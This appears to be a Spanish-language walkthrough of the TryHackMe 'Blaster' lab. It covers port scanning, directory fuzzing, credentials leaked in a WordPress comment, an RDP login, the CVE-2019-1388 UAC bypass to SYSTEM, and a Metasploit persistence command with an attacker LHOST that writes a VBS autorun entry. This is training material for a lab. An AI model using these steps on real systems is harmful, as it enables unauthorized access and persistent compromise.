Blaster - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeWindowsEasy
Blaster - TryHackMe

📚 Esta publicación pertenece a la colección:

Blaster - TryHackMe Walkthrough

Bienvenido a mi writeup de la máquina Blaster de TryHackMe.
Una room con un giro inesperado: las credenciales están a la vista en la propia web, el acceso es por escritorio remoto y la escalada de privilegios pasa por un CVE de UAC bypass que resulta ser bastante elegante.

Room: Blaster
Dificultad: Easy
OS: Windows
Objetivo: Capturar las flags de usuario y root

🎯 Información del Objetivo

IP Target: 10.82.142.37

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Empiezo verificando que la máquina está activa:

ping -c1 10.82.142.37
  • -c1 → Envía solo 1 paquete ICMP y para (sin -c haría ping indefinido)

No obtengo respuesta. Verifico en TryHackMe por si no se ha desplegado la máquina pero no es el caso.

O no tengo respuesta por mi conexión VPN o porque la máquina bloquea los paquetes ICMP (las máquinas Windows suelen bloquear el ping por defecto).

Escaneo de Puertos

Lanzo directamente el escaneo de puertos.

Como la máquina no responde a ping, incluyo -Pn desde el principio para evitar que nmap descarte el host por no responder al ICMP:

nmap -sSV -T4 -Pn 10.82.142.37
  • -sS → SYN scan (stealth): no completa el handshake TCP
  • -sV → Detección de versiones de los servicios
  • -T4 → Plantilla de tiempo agresiva (más rápido)
  • -Pn → Sin ping previo, trata el host como activo

La máquina responde y veo dos puertos abiertos:

Resultado del escaneo nmap

  • Puerto 80: Microsoft IIS httpd 10.0 — servidor web Windows
  • Puerto 3389: Microsoft Terminal Services — RDP activo

El servicio RDP abierto es muy relevante: si consigo credenciales válidas, puedo conectarme directamente al escritorio de la máquina.

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows

El OS detection de nmap confirma Windows mediante su CPE: cpe:/o:microsoft:windows.

📁 Fase 2: Enumeración

Enumeración Web — Puerto 80

Navego al puerto 80 y me encuentro la página de bienvenida por defecto de IIS Windows Server.

Por sí sola no da información útil, así que hago fuzzing de directorios. Empiezo con la wordlist por defecto de dirb:

dirb http://10.82.142.37

Sin especificar wordlist, dirb usa /usr/share/dirb/wordlists/common.txt por defecto

Sin resultados. Pruebo con una wordlist más grande:

dirb http://10.82.142.37 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

La wordlist de dirbuster cubre muchos más directorios y rutas

Aparece el directorio /retro/. Al acceder encuentro un blog de WordPress de temática retro — videojuegos clásicos, películas y libros.

Todos los posts están escritos por el mismo usuario: wade.

Fuga de Credenciales

Revisando los posts, en el titulado "Ready Player One" hay un comentario del propio autor que llama la atención:

Leaving myself a note here just in case I forget how to spell it: parzival

Comentario de wade en el post Ready Player One

Wade se ha dejado una nota pública con lo que posiblemente sea su contraseña. Vale la pena probar.

El WordPress tiene su panel de login en la ruta estándar /retro/wp-login.php.

Pruebo wade : parzival y estoy dentro del panel de administración de WordPress.

Tengo usuario y contraseña válidos. Recordando que el puerto 3389 está abierto, voy a probar por si reutiliza credenciales.

🚀 Fase 3: Explotación — Acceso por RDP

La room pide conectarse por escritorio remoto usando las credenciales encontradas:

xfreerdp3 /v:10.82.142.37 /u:wade /p:parzival
  • /v → Dirección del host objetivo
  • /u → Usuario
  • /p → Contraseña

La conexión se establece y aparece el escritorio de la máquina:

Escritorio de wade tras conectarse por RDP

Nada más entrar veo dos archivos en el escritorio:

  • user.txt — la flag de usuario
  • hhupd — un ejecutable que no parece estar ahí por casualidad

🚩 Flag de Usuario

Consulto la primera flag :

Se encuentra en el archivo user.txt en el escritorio de wade

🚩 Flag de usuario capturada!

⬆️ Fase 4: Escalada de Privilegios — CVE-2019-1388

Análisis de hhupd.exe

El archivo hhupd que está en el escritorio corresponde a un ejecutable de Windows firmado digitalmente que es vulnerable al CVE-2019-1388: un UAC bypass que aprovecha el visor de certificados del sistema para abrir Internet Explorer con privilegios de NT AUTHORITY\SYSTEM.

El flujo del exploit es:

  1. Ejecutar hhupd.exe como administrador → aparece el diálogo de UAC
  2. En el diálogo, hacer clic en el enlace del publicador del certificado (VeriSign)
  3. El visor de certificados se abre como SYSTEM para poder validar la firma
  4. Dentro del visor, el enlace al sitio del certificado lanza Internet Explorer como SYSTEM
  5. En IE, Archivo → Guardar como → navegar a C:\Windows\System32 → escribir cmd.exe en el campo de nombre y abrir
  6. Se abre una CMD con privilegios de NT AUTHORITY\SYSTEM

Ejecuto el exploit siguiendo estos pasos y obtengo la shell de administrador. Verifico el usuario actual:

▶ output
C:Windowssystem32> whoami
nt authoritysystem

¡Soy SYSTEM! Control total sobre la máquina.

🚩 Flag de Root

La flag de root está en el escritorio del usuario Administrador:

C:\Users\Administrator\Desktop\root.txt

🚩 Flag de root capturada!

🔁 Bonus: Persistencia con Metasploit

La room incluye un apartado extra para practicar la creación de persistencia — una técnica post-explotación que garantiza acceso continuo a la máquina aunque se reinicie.

Desde Metasploit, uso el módulo web_delivery para generar una sesión Meterpreter como SYSTEM. Una vez tengo la sesión activa, ejecuto el módulo de persistencia:

run exploit/windows/local/persistence LHOST=192.168.205.78

Instala un script VBS en el registro de Windows que se ejecuta automáticamente al iniciar sesión, manteniendo la conexión con el atacante

Salida del módulo de persistencia en Meterpreter

El módulo escribe un script VBS en C:\Windows\TEMP\ y lo registra en HKCU\Software\Microsoft\Windows\CurrentVersion\Run, asegurando que se ejecute en cada inicio de sesión del usuario.

📊 Resumen

Cadena de Ataque

IIS → Fuzzing web → /retro/ (WordPress) → Comentario con credenciales → RDP como wade → user.txt → CVE-2019-1388 → NT AUTHORITY\SYSTEM → root.txt

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y servicios
  • dirb — Fuzzing de directorios web
  • xfreerdp3 — Cliente RDP para conectarse al escritorio remoto
  • Metasploit — Framework de explotación para el módulo de persistencia

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
Credenciales expuestas públicamente en un comentario de WordPressCRÍTICANunca almacenar credenciales en contenido público; usar gestores de contraseñas
RDP expuesto a internet con credenciales débilesALTARestringir RDP a redes internas o VPN; usar autenticación de dos factores
CVE-2019-1388 — UAC Bypass vía visor de certificadosALTAAplicar el parche KB4524147 de Microsoft (octubre 2019)

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.